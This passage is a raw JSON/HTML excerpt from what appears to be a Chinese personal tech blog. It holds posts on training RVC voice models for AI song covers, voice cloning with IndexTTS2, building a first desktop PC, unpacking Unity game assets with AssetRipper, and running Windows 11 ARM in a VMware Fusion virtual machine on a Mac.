id=\"利用rvc训练模型\"\u003e利用RVC训练模型\u003c/h1\u003e\n\u003cp\u003e进入 \u003ca href=\"https://github.com/RVC-Project/Retrieval-based-Voice-Conversion-WebUI\"\u003eRVC-Project/Retrieval-based-Voice-Conversion-WebUI: Easily train a good VC model with voice data 10 mins!\u003c/a\u003e 根据你的系统和显卡来进行下载，或者使用该链接下载（国内高速） \u003ca href=\"https://www.yuque.com/flowercry/hxf0ds\"\u003e语音克隆\u0026amp;变声器 整合包下载\u003c/a\u003e 注意不要下错了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e直接运行 \u003ccode\u003ego-web.bat\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e进入 WebUI 并切换到训练一栏\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e首先写模型名称\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后将你的音源放到一个空文件夹\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后填进去\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e总训练轮数推荐50 ~ 200\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-7.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后点击一键训练（需要很久，建议晚上睡觉前训练）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-8.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e训练结束后可以在 \u003ccode\u003eassets/weights\u003c/code\u003e 找到模型文件， \u003ccode\u003e.pth\u003c/code\u003e 结尾的\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-9.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"利用replay做ai翻唱\"\u003e利用Replay做AI翻唱\u003c/h1\u003e\n\u003cp\u003e下载 \u003ca href=\"https://www.weights.com/replay\"\u003eReplay\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e首先 \u003cstrong\u003eSelect Audio\u003c/strong\u003e 选择你的原歌曲\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eModel\u003c/strong\u003e 选择刚刚训练出的模型\u003c/p\u003e\n\u003cp\u003e然后点击 \u003cstrong\u003eConvert Audio\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-10.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e在输出的文件的 \u003cstrong\u003eView in Folder\u003c/strong\u003e 可以找到 \u003cstrong\u003e干净的AI人声\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rvc/img/rvc-11.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"伴奏和人声分离\"\u003e伴奏和人声分离\u003c/h1\u003e\n\u003ch3 id=\"uvr\"\u003eUVR\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如果你是50系显卡请前往\u003ca href=\"https://github.com/Anjok07/ultimatevocalremovergui/issues/1889\"\u003eGPU Acceleration Hangs on RTX 5070Ti (Driver 576.80, CUDA 12.9) · Issue #1889 · Anjok07/ultimatevocalremovergui\u003c/a\u003e通过\u003ca href=\"https://www.mediafire.com/file_premium/4jg10r9wa3tujav/UVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8.zip/file\"\u003eUVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8\u003c/a\u003e下载适用于50系显卡的UVR\u003c/p\u003e","title":"手把手教你AI翻唱！"},{"content":"正式开始 视频教程： https://www.bilibili.com/video/BV1qv41zgEjE/\n请全程魔法\n安装Git Lfs： git lfs install\n克隆仓库： index-tts/index-tts: An Industrial-Level Controllable and Efficient Zero-Shot Text-To-Speech System\n拉取Git Lfs文件： git lfs pull\n安装UV（Python包管理器，类似pip）： pip install -U uv\n安装依赖： uv sync --extra webui\n安装hf-cli： uv tool install \u0026quot;huggingface-hub[cli,hf_xet]\u0026quot;\n从hf下载模型： hf download IndexTeam/IndexTTS-2 --local-dir=checkpoints\n运行web UI： uv run webui.py\n浏览器打开 7860 端口\n简单使用 WebUI页面长这样 首先将音色参考音频输入（几秒即可）\n然后输入要朗读的文本\n最终点击生成\n调教 推荐使用 使用情感向量控制\n","permalink":"https://blog.2x.nz/posts/index-tts2/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e视频教程： \u003ca href=\"https://www.bilibili.com/video/BV1qv41zgEjE/\"\u003ehttps://www.bilibili.com/video/BV1qv41zgEjE/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e请全程魔法\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e安装Git Lfs： \u003ccode\u003egit lfs install\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e克隆仓库： \u003ca href=\"https://github.com/index-tts/index-tts\"\u003eindex-tts/index-tts: An Industrial-Level Controllable and Efficient Zero-Shot Text-To-Speech System\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e拉取Git Lfs文件： \u003ccode\u003egit lfs pull\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e安装UV（Python包管理器，类似pip）： \u003ccode\u003epip install -U uv\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e安装依赖： \u003ccode\u003euv sync --extra webui\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e安装hf-cli： \u003ccode\u003euv tool install \u0026quot;huggingface-hub[cli,hf_xet]\u0026quot;\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e从hf下载模型： \u003ccode\u003ehf download IndexTeam/IndexTTS-2 --local-dir=checkpoints\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e运行web UI： \u003ccode\u003euv run webui.py\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e浏览器打开 \u003ccode\u003e7860\u003c/code\u003e 端口\u003c/p\u003e\n\u003ch1 id=\"简单使用\"\u003e简单使用\u003c/h1\u003e\n\u003cp\u003eWebUI页面长这样\n\u003cimg loading=\"lazy\" src=\"/posts/index-tts2/img/index-tts2-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e首先将音色参考音频输入（几秒即可）\u003c/p\u003e\n\u003cp\u003e然后输入要朗读的文本\u003c/p\u003e\n\u003cp\u003e最终点击生成\u003c/p\u003e\n\u003ch1 id=\"调教\"\u003e调教\u003c/h1\u003e\n\u003cp\u003e推荐使用 \u003cstrong\u003e使用情感向量控制\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/index-tts2/img/index-tts2-2.webp\"\u003e\u003c/p\u003e","title":"手把手教你克隆音色！"},{"content":"前情提要 我知道大家来看都是想听听我分享第一次手动组装台式机的所想所感，但是，请容许我先讲述一下在这之前的事情，这将解释为什么我在该文简介介绍是 阴差阳错的获得了一个机会 同时，这也是 不得不品的一环\n让我们将时间轴拨动到我还持有着 极光X笔记本 的时候，虽然前几期文章大致讲过了，我把极光X卖了换了Mac，但是就仅止于此了，实际上这仅仅只是一个平庸的开始\n那么首先，因为我和朋友打 卡拉彼丘 红温了，那天就觉得 我从来没有觉得打游戏开心过 ，于是便决定将手上的Windows笔记本，也就是极光X卖掉，然后买一个MacBook专注生产力（难绷）\n我这个人执行力很高，第一天就上 转转 把极光X卖了，然后立马下单了一个25年的MacBook Air，也就是前几期文章说的 我为什么买了个Mac\n接下来，用了几天，Mac不愧是Mac，只要你是拿他干活，那M4+macOS将是神魔同体，超强的处理器性能+高度统一的工作流。不管你是拿他剪视频，修图，做海报，写网页，改代码等等，只要是生产力，那Mac就是信手拈来\n但是，俗话说的好， 饱暖思淫欲 。人不可能一天24小时除去睡觉的8小时16小时都在工作，这不现实，也太压抑。所以，在Mac到手的第二天我就开始研究这玩意怎么玩 GalGame 至于为什么不研究怎么玩 卡拉彼丘 ，一是当时红温状态仍在持续，二是我早就知道在macOS上运行Windows程序用的还是Wine那一套。而Wine虽然发展了这么多年，还是过不去竞技游戏的 反作弊 这一关。所以就没想着在Mac上玩了，况且层层转译不仅消耗性能，也徒增功耗，我要是真想玩游戏，我为什么不用Windows？\n怀疑的种子已在心中生根发芽，那么，只需要一把火即可彻底焚尽我的 苹果梦 。那么这把火就是： 关于我买了个Mac但是没有买DP转C的线导致我没法在显示器上用macOS同时因为没有C口拓展坞我的鼠标键盘也用不上那我是不是这辈子就只能用触控板和蝶式键盘了亚达亚达怎带亚达这件事 。如果你看懂上面的加粗文字了的话，你可能会好奇，欸，为什么不尝试买个DP转C口的线呢？（实际上后面真买了）为什么不尝试买个拓展坞呢？那是因为\n我这个人考虑事情都是顾全大局，当我认为Mac不可能陪伴我较长时间这个结论得出时，抛弃Mac只是时间问题\n而后，顺理成章的在 爱回收 （因为报价多300）把Mac卖了，质检小哥问我用了几天的时候，我说5天，他愣住了，我说： 哎，还是Windows好用，macOS真用不明白 ，随后他也附和道： 是的是的 总之，无论过程如何，我现在已经没有电脑可以用了，那么下一步肯定是抓紧再整个电脑过来\n可能是一时心急，一不小心发现了京东有一个闪购功能，又一不小心溢价了一千买了个 暗影精灵11锐龙版 ，闪购确实很闪啊，半小时不到就送到了\n当即就开机，嗯！还是Windows味正！\n但好景不长，可能是因为我之前对AMD机子有点阴影，又加上这破机子到手当天蓝屏3次，花屏2次，游戏帧率也不是很稳定（虽然后面手动调稳了）。导致又萌发了一个新想法： 笔记本就是智商税，同价位性能释放还得看台式机！\n不用我说，你们应该也猜到了，没错！又是5天之后，我把 暗影精灵11锐龙版 在 转转 上出掉了。当质检小哥再次问我的你机子买了几天的时候，我说5天，他愣住了，随后说道：这我还测集贸了 随后不到十分钟我就收到打款了\n好的，那么第二次轮回又结束了，此时我仍然处于一个没电脑用的情况（虽然也不是刚需）。不过这次，我下定决心了： 一定要整个台式机玩玩！\n恰巧，朋友准备换CPU了，又恰巧，要从Intel换成AMD，也就是说，他的主板和U都闲置了，就问我要不要。那我肯定是求之不得，然后便顺理成章的拿到了板U，接下来只需要自己买显卡内存硬盘电源散热机箱即可，因为板U暂时不需要我掏钱了，所以预算非常充足，又因为我这个人心急吧，于是便找了 京东当日达 也就是本地仓发货的，可能要加个几百块，但是刚好可以治我的“心急病”，但是吧，朋友的板U本来是走飞机的，但是安检没过，所以转陆运了，那么陆运就不能当日达了，也就是说就算我的其他配件当日达，板U不能当日达那我这加的钱就是白加，不过算了，既来之则安之，那么以下是我的配置单 那么装机后效果如图\n装机教程 因为我本人活这么大从来没自己装过机，但是我觉得既然我是搞技术的，这东西应该也不难，再加上当今有很多装机教程视频可以看，比如 https://www.bilibili.com/video/BV1BG4y137mG ，我就是看它一步步去弄的，因为配件都是自己DIY的，有些步骤可能对不上，而且某些东西说明书虽然说不行但是实际上可以，行不行还得自己动手试试\n装机坑点 内存条。视频内演示的主板内存卡扣是双端的，但是我这个主板仅单端有卡扣，所以我在另一边扳了半天没反应才发现那边没卡扣（我是笨蛋\n水冷。现在装机不仅仅是让他能 跑起来 更是美观和 R！G！B！ ，但是，这个水冷一共有三个RGB线，但是主板上只有一个RGB接口，听说是要做 神光同步 的，但是你既然包装内没带集线器那我就不接了，反正对我来说 R！G！B！ 是徒增功耗（不过这小灯确实挺好看的\n硅脂。一般散热器会送你点硅脂，不用单独买\n机箱。因为主板背部也有很多触点，如果直接和机箱接触可能会造成短路，所以一般机箱内部都有螺丝孔可以上螺丝柱，然后将主板夹在螺丝柱上固定。问题就在这个螺丝柱了，它虽然是一个六角螺丝柱，但是 没有送螺丝柱套筒 ，也就是说，如果你家中没有老虎钳，这螺丝柱你是别想安上了，除非你是绿巨人\n机箱说明书。说明书上写着支持前置240冷排，确实支持，但是显卡挡住了，因为我太信说明书了，我就又去 京东闪购 下单了个风冷，250 块钱，商家还跟我打电话确认我的主板型号，可能曾经发生过什么不可告人的事件* 总之，风冷刚到我就被群友提醒可以上置冷排，试了一下确实可以，系内说明书！\n性能测试 首先这是最终上机配置\nCPU-Z跑分 甜甜圈一键烤鸡（1280x720）帧数 AIDA64内存和三缓测试 单烤FPU最高功耗及温度 AS SSD Benchmark（硬盘测速） ","permalink":"https://blog.2x.nz/posts/first-pc/","summary":"\u003ch1 id=\"前情提要\"\u003e前情提要\u003c/h1\u003e\n\u003cp\u003e我知道大家来看都是想听听我分享第一次手动组装台式机的所想所感，但是，请容许我先讲述一下在这之前的事情，这将解释为什么我在该文简介介绍是 \u003cstrong\u003e阴差阳错的获得了一个机会\u003c/strong\u003e 同时，这也是 \u003cstrong\u003e不得不品的一环\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e让我们将时间轴拨动到我还持有着 \u003cstrong\u003e极光X笔记本\u003c/strong\u003e 的时候，虽然前几期文章大致讲过了，我把极光X卖了换了Mac，但是就仅止于此了，实际上这仅仅只是一个平庸的开始\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/Screenshot_2025-10-11-05-45-03-97_e41039de8eaacf2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/Screenshot_2025-10-11-05-47-07-88_c03b3f779c2dfd4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/IMG20250929204541.webp\"\u003e\n那么首先，因为我和朋友打 \u003cstrong\u003e卡拉彼丘\u003c/strong\u003e 红温了，那天就觉得 \u003cstrong\u003e我从来没有觉得打游戏开心过\u003c/strong\u003e ，于是便决定将手上的Windows笔记本，也就是极光X卖掉，然后买一个MacBook专注生产力（难绷）\u003c/p\u003e\n\u003cp\u003e我这个人执行力很高，第一天就上 \u003cstrong\u003e转转\u003c/strong\u003e 把极光X卖了，然后立马下单了一个25年的MacBook Air，也就是前几期文章说的 \u003cstrong\u003e我为什么买了个Mac\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e接下来，用了几天，Mac不愧是Mac，只要你是拿他干活，那M4+macOS将是神魔同体，超强的处理器性能+高度统一的工作流。不管你是拿他剪视频，修图，做海报，写网页，改代码等等，只要是生产力，那Mac就是信手拈来\u003c/p\u003e\n\u003cp\u003e但是，俗话说的好， \u003cstrong\u003e饱暖思淫欲\u003c/strong\u003e 。人不可能一天24小时除去睡觉的8小时16小时都在工作，这不现实，也太压抑。所以，在Mac到手的第二天我就开始研究这玩意怎么玩 \u003cstrong\u003eGalGame\u003c/strong\u003e 至于为什么不研究怎么玩 \u003cstrong\u003e卡拉彼丘\u003c/strong\u003e ，一是当时红温状态仍在持续，二是我早就知道在macOS上运行Windows程序用的还是Wine那一套。而Wine虽然发展了这么多年，还是过不去竞技游戏的 \u003cstrong\u003e反作弊\u003c/strong\u003e 这一关。所以就没想着在Mac上玩了，况且层层转译不仅消耗性能，也徒增功耗，我要是真想玩游戏，我为什么不用Windows？\u003c/p\u003e\n\u003cp\u003e怀疑的种子已在心中生根发芽，那么，只需要一把火即可彻底焚尽我的 \u003cstrong\u003e苹果梦\u003c/strong\u003e 。那么这把火就是： \u003cstrong\u003e关于我买了个Mac但是没有买DP转C的线导致我没法在显示器上用macOS同时因为没有C口拓展坞我的鼠标键盘也用不上那我是不是这辈子就只能用触控板和蝶式键盘了亚达亚达怎带亚达这件事\u003c/strong\u003e 。如果你看懂上面的加粗文字了的话，你可能会好奇，欸，为什么不尝试买个DP转C口的线呢？（实际上后面真买了）为什么不尝试买个拓展坞呢？那是因为\u003c/p\u003e\n\u003cp\u003e我这个人考虑事情都是顾全大局，当我认为Mac不可能陪伴我较长时间这个结论得出时，抛弃Mac只是时间问题\u003c/p\u003e\n\u003cp\u003e而后，顺理成章的在 \u003cstrong\u003e爱回收\u003c/strong\u003e （因为报价多300）把Mac卖了，质检小哥问我用了几天的时候，我说5天，他愣住了，我说： \u003cstrong\u003e哎，还是Windows好用，macOS真用不明白\u003c/strong\u003e ，随后他也附和道： \u003cstrong\u003e是的是的\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/Screenshot_2025-10-11-05-48-04-91_4fbb30eb7b71661.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e总之，无论过程如何，我现在已经没有电脑可以用了，那么下一步肯定是抓紧再整个电脑过来\u003c/p\u003e\n\u003cp\u003e可能是一时心急，一不小心发现了京东有一个闪购功能，又一不小心溢价了一千买了个 \u003cstrong\u003e暗影精灵11锐龙版\u003c/strong\u003e ，闪购确实很闪啊，半小时不到就送到了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/Screenshot_2025-10-11-05-48-41-11_4fbb30eb7b71661.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e当即就开机，嗯！还是Windows味正！\u003c/p\u003e\n\u003cp\u003e但好景不长，可能是因为我之前对AMD机子有点阴影，又加上这破机子到手当天蓝屏3次，花屏2次，游戏帧率也不是很稳定（虽然后面手动调稳了）。导致又萌发了一个新想法： \u003cstrong\u003e笔记本就是智商税，同价位性能释放还得看台式机！\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e不用我说，你们应该也猜到了，没错！又是5天之后，我把 \u003cstrong\u003e暗影精灵11锐龙版\u003c/strong\u003e 在 \u003cstrong\u003e转转\u003c/strong\u003e 上出掉了。当质检小哥再次问我的你机子买了几天的时候，我说5天，他愣住了，随后说道：\u003cstrong\u003e这我还测集贸了\u003c/strong\u003e 随后不到十分钟我就收到打款了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/Screenshot_2025-10-11-05-49-05-90_c03b3f779c2dfd4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e好的，那么第二次轮回又结束了，此时我仍然处于一个没电脑用的情况（虽然也不是刚需）。不过这次，我下定决心了： \u003cstrong\u003e一定要整个台式机玩玩！\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e恰巧，朋友准备换CPU了，又恰巧，要从Intel换成AMD，也就是说，他的主板和U都闲置了，就问我要不要。那我肯定是求之不得，然后便顺理成章的拿到了板U，接下来只需要自己买显卡内存硬盘电源散热机箱即可，因为板U暂时不需要我掏钱了，所以预算非常充足，又因为我这个人心急吧，于是便找了 \u003cstrong\u003e京东当日达\u003c/strong\u003e 也就是本地仓发货的，可能要加个几百块，但是刚好可以治我的“心急病”，但是吧，朋友的板U本来是走飞机的，但是安检没过，所以转陆运了，那么陆运就不能当日达了，也就是说就算我的其他配件当日达，板U不能当日达那我这加的钱就是白加，不过算了，既来之则安之，那么以下是我的配置单\n\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/Screenshot_2025-10-09-20-06-36-95_ae1f93045b87aac.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e那么装机后效果如图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/IMG202510101606131.webp\"\u003e\u003cimg loading=\"lazy\" src=\"/posts/first-pc/img/IMG20251011055119.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"装机教程\"\u003e装机教程\u003c/h1\u003e\n\u003cp\u003e因为我本人活这么大从来没自己装过机，但是我觉得既然我是搞技术的，这东西应该也不难，再加上当今有很多装机教程视频可以看，比如 \u003ca href=\"https://www.bilibili.com/video/BV1BG4y137mG\"\u003ehttps://www.bilibili.com/video/BV1BG4y137mG\u003c/a\u003e ，我就是看它一步步去弄的，因为配件都是自己DIY的，有些步骤可能对不上，而且某些东西说明书虽然说不行但是实际上可以，行不行还得自己动手试试\u003c/p\u003e\n\u003ch1 id=\"装机坑点\"\u003e装机坑点\u003c/h1\u003e\n\u003cp\u003e内存条。视频内演示的主板内存卡扣是双端的，但是我这个主板仅单端有卡扣，所以我在另一边扳了半天没反应才发现那边没卡扣（我是笨蛋\u003c/p\u003e","title":"人生中的第一台自己组装的台式！键盘亮显示器必亮！"},{"content":"正式开始 前往 https://github.com/AssetRipper/ ，下载 AssetRipper 并打开\n这会自动调用浏览器并导向 http://127.0.0.1:64203 暂时放一边\n接下来在Steam页面对游戏右键并选择 管理 - 浏览本地文件 会打开你的文件资源管理器并导向该游戏位于系统中的实际路径 点击 地址栏 然后复制 此时在 AssetRipper 中我们选择 文件 - 打开文件夹 并粘贴路径，并进入 *_Data 文件夹，这里为 manosaba_Data 接下来会进入漫长的等待时间。网页会卡在加载，我们可以查看一并打开的命令窗口确认资源载入进度 当你发现 查看已导入文件 可被点击后，方可继续 选择右上角的 导出 - 导出所有文件 点击选择文件夹，随便选个位置放解包后的文件 然后点击 导出主要内容 最终，寻找类似 Assets 文件夹，就有所有的资源文件了（如CG图，MV，角色语音等） 注：某些资源为骨骼/模型和动作文件，游戏进行中显现的2D图并非直接由静态文件提供，而是骨骼/模型和动作文件协作而成，对于这些内容，你需要自己拼出完整的资源画面，在此不做讨论\n","permalink":"https://blog.2x.nz/posts/manosaba-unzip/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://github.com/AssetRipper/\"\u003ehttps://github.com/AssetRipper/\u003c/a\u003e ，下载 \u003cstrong\u003eAssetRipper\u003c/strong\u003e 并打开\u003c/p\u003e\n\u003cp\u003e这会自动调用浏览器并导向 \u003ccode\u003ehttp://127.0.0.1:64203\u003c/code\u003e 暂时放一边\u003c/p\u003e\n\u003cp\u003e接下来在Steam页面对游戏右键并选择 \u003ccode\u003e管理 - 浏览本地文件\u003c/code\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-1.webp\"\u003e\n会打开你的文件资源管理器并导向该游戏位于系统中的实际路径 \u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-2.webp\"\u003e\n点击 \u003ccode\u003e地址栏\u003c/code\u003e 然后复制\n\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-3.webp\"\u003e\n此时在 \u003cstrong\u003eAssetRipper\u003c/strong\u003e 中我们选择 \u003ccode\u003e文件 - 打开文件夹\u003c/code\u003e 并粘贴路径，并进入 \u003ccode\u003e*_Data\u003c/code\u003e 文件夹，这里为 \u003cstrong\u003emanosaba_Data\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-5.webp\"\u003e\n接下来会进入漫长的等待时间。网页会卡在加载，我们可以查看一并打开的命令窗口确认资源载入进度\n当你发现 \u003cstrong\u003e查看已导入文件\u003c/strong\u003e 可被点击后，方可继续\n\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-6.webp\"\u003e\n选择右上角的 \u003ccode\u003e导出 - 导出所有文件\u003c/code\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-7.webp\"\u003e\n点击选择文件夹，随便选个位置放解包后的文件\n\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-8.webp\"\u003e\n然后点击 \u003cstrong\u003e导出主要内容\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-9.webp\"\u003e\n最终，寻找类似 \u003ccode\u003eAssets\u003c/code\u003e 文件夹，就有所有的资源文件了（如CG图，MV，角色语音等）\n\u003cimg loading=\"lazy\" src=\"/posts/manosaba-unzip/img/manosaba-unzip-10.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e注：某些资源为骨骼/模型和动作文件，游戏进行中显现的2D图并非直接由静态文件提供，而是骨骼/模型和动作文件协作而成，对于这些内容，你需要自己拼出完整的资源画面，在此不做讨论\u003c/p\u003e","title":"魔法少女的魔女审判解包（Unity通用解包方案）"},{"content":"思路 首先，新版的Mac用的是Arm架构的Apple自研芯片并且搭载基于Unix的MacOS系统。而大部分游戏则是专为Windows x64打造的。也就是说，我们需要翻译两层，首先将Unix转Win，再将Arm架构专为x64架构\n诚然，你可以使用 CrossOver 来自动化这个流程，或者手动在Apple开发者工具下载GPTK手动执行该操作。但是这两个操作一个要钱，一个要命（指时间和脑子）\n我们这里采用 虚拟机 来简化这些操作。由于是虚拟机，所以只需要准备一个Arm镜像就可以在Mac上完美运行一个Arm的Win11系统，又由于微软干的大好事，Arm版本的Windows11在运行x64程序是会自动转译，所以我们只需要保证必要的运行库安装即可。是的，这可能在性能上会大打折扣，但是兼容性是最高的，且如果你只玩Gal这种类PPT游戏，性能差距感知不强\n正式开始 首先，我们下载虚拟机软件 VMware Fusion （需要注册一个博通账号）\n登录后你可能会被重定向到 Dashboard，再次访问一次链接即可进入下载软件界面 ⚠️注意：你可能会发现下载按钮被禁用，这并不是你没有权限，而是你没有阅读用户许可协议，你可能又会发现，用户许可协议的勾打不上。请先点击用户协议超链接，不管你看没看，再回退到之前到页面，你就会发现用户许可协议的勾可以被选中了\n让我们省略一下安装过程\u0026hellip;\n假设你已经成功安装了 VMware Fusion 接下来我们去下载 Windows 11 On Arm 的ISO镜像： https://www.microsoft.com/zh-cn/software-download/windows11arm64\n你会得到 再次打开 VMware Fusion ，新建一个虚拟机，并导入ISO文件，按需调整虚拟机配置即可 最终，我们启动虚拟机，完成Windows11安装向导，进入Windows桌面。此时你的Windows可能看起来糊糊的，那是因为没有安装 VM Tools ，安装一下即可 此时你已经完成90%的步骤了，你已经可以把你的Mac当Windows用啦！但是为了让后续的游戏能顺利运行，我们还是要装一下必要的运行库\n前往 https://zhangyue667.lanzouh.com/DirectXRepairEnhanced 下载并解压运行DX修复工具。运行后，程序会自动安装DX9和VC++运行库，这足以保障大部分游戏顺利运行！\n如果遇到游戏打不开或第一次能打开后续打不开，请按需配置微软仿真\n现在，享受吧！\n","permalink":"https://blog.2x.nz/posts/mac-gal/","summary":"\u003ch1 id=\"思路\"\u003e思路\u003c/h1\u003e\n\u003cp\u003e首先，新版的Mac用的是Arm架构的Apple自研芯片并且搭载基于Unix的MacOS系统。而大部分游戏则是专为Windows x64打造的。也就是说，我们需要翻译两层，首先将Unix转Win，再将Arm架构专为x64架构\u003c/p\u003e\n\u003cp\u003e诚然，你可以使用 \u003cstrong\u003e\u003ca href=\"https://www.codeweavers.com/crossover\"\u003eCrossOver\u003c/a\u003e\u003c/strong\u003e 来自动化这个流程，或者手动在Apple开发者工具下载GPTK手动执行该操作。但是这两个操作一个要钱，一个要命（指时间和脑子）\u003c/p\u003e\n\u003cp\u003e我们这里采用 \u003cstrong\u003e虚拟机\u003c/strong\u003e 来简化这些操作。由于是虚拟机，所以只需要准备一个Arm镜像就可以在Mac上完美运行一个Arm的Win11系统，又由于微软干的大好事，Arm版本的Windows11在运行x64程序是会自动转译，所以我们只需要保证必要的运行库安装即可。是的，这可能在性能上会大打折扣，但是兼容性是最高的，且如果你只玩Gal这种类PPT游戏，性能差距感知不强\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先，我们下载虚拟机软件 \u003cstrong\u003e\u003ca href=\"https://support.broadcom.com/group/ecx/productdownloads?subfamily=VMware%20Fusion\u0026amp;freeDownloads=true\"\u003eVMware Fusion\u003c/a\u003e\u003c/strong\u003e （需要注册一个博通账号）\u003c/p\u003e\n\u003cp\u003e登录后你可能会被重定向到 Dashboard，再次访问一次链接即可进入下载软件界面\n\u003cimg loading=\"lazy\" src=\"/posts/mac-gal/img/mac-gal.webp\"\u003e\n⚠️注意：你可能会发现下载按钮被禁用，这并不是你没有权限，而是你没有阅读用户许可协议，你可能又会发现，用户许可协议的勾打不上。请先点击用户协议超链接，不管你看没看，再回退到之前到页面，你就会发现用户许可协议的勾可以被选中了\u003c/p\u003e\n\u003cp\u003e让我们省略一下安装过程\u0026hellip;\u003c/p\u003e\n\u003cp\u003e假设你已经成功安装了 \u003cstrong\u003eVMware Fusion\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/mac-gal/img/mac-gal-1.webp\"\u003e\n接下来我们去下载 \u003cstrong\u003eWindows 11 On Arm\u003c/strong\u003e 的ISO镜像： \u003ca href=\"https://www.microsoft.com/zh-cn/software-download/windows11arm64\"\u003ehttps://www.microsoft.com/zh-cn/software-download/windows11arm64\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e你会得到\n\u003cimg loading=\"lazy\" src=\"/posts/mac-gal/img/mac-gal-2.webp\"\u003e\n再次打开 \u003cstrong\u003eVMware Fusion\u003c/strong\u003e ，新建一个虚拟机，并导入ISO文件，按需调整虚拟机配置即可\n\u003cimg loading=\"lazy\" src=\"/posts/mac-gal/img/mac-gal-3.webp\"\u003e\n最终，我们启动虚拟机，完成Windows11安装向导，进入Windows桌面。此时你的Windows可能看起来糊糊的，那是因为没有安装 \u003cstrong\u003eVM Tools\u003c/strong\u003e ，安装一下即可\n\u003cimg loading=\"lazy\" 